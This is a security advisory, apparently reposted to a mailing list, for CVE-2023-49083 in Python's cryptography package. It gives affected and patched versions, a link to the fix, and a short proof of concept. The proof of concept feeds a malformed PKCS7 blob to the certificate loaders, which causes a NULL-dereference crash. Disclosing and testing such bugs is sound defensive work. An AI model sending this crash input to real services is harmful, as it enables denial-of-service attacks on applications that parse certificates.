Python Cryptography advisory: CVE-2023-49083 NULL-dereference when loading PKCS7 certificates

[Alan Coopersmith <alan.coopersmith () oracle com>]

https://github.com/pyca/cryptography/security/advisories/GHSA-jfhm-5ghh-2f97
reports:

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Affected versions >= 3.1, < 41.0.6
Patched versions >=41.0.6

Summary

Calling load_pem_pkcs7_certificates or load_der_pkcs7_certificates could lead to 
a NULL-pointer dereference and segfault.
PoC

Here is a Python code that triggers the issue:

from cryptography.hazmat.primitives.serialization.pkcs7 import 
load_der_pkcs7_certificates, load_pem_pkcs7_certificates

pem_p7 = b"""
-----BEGIN PKCS7-----
MAsGCSqGSIb3DQEHAg==
-----END PKCS7-----
"""

der_p7 = b"\x30\x0B\x06\x09\x2A\x86\x48\x86\xF7\x0D\x01\x07\x02"

load_pem_pkcs7_certificates(pem_p7)
load_der_pkcs7_certificates(der_p7)

Impact

Exploitation of this vulnerability poses a serious risk of Denial of Service 
(DoS) for any application attempting to deserialize a PKCS7 blob/certificate. 
The consequences extend to potential disruptions in system availability and 
stability.

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The fix was in https://github.com/pyca/cryptography/pull/9926

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        -Alan Coopersmith-                 alan.coopersmith () oracle com
         Oracle Solaris Engineering - https://blogs.oracle.com/solaris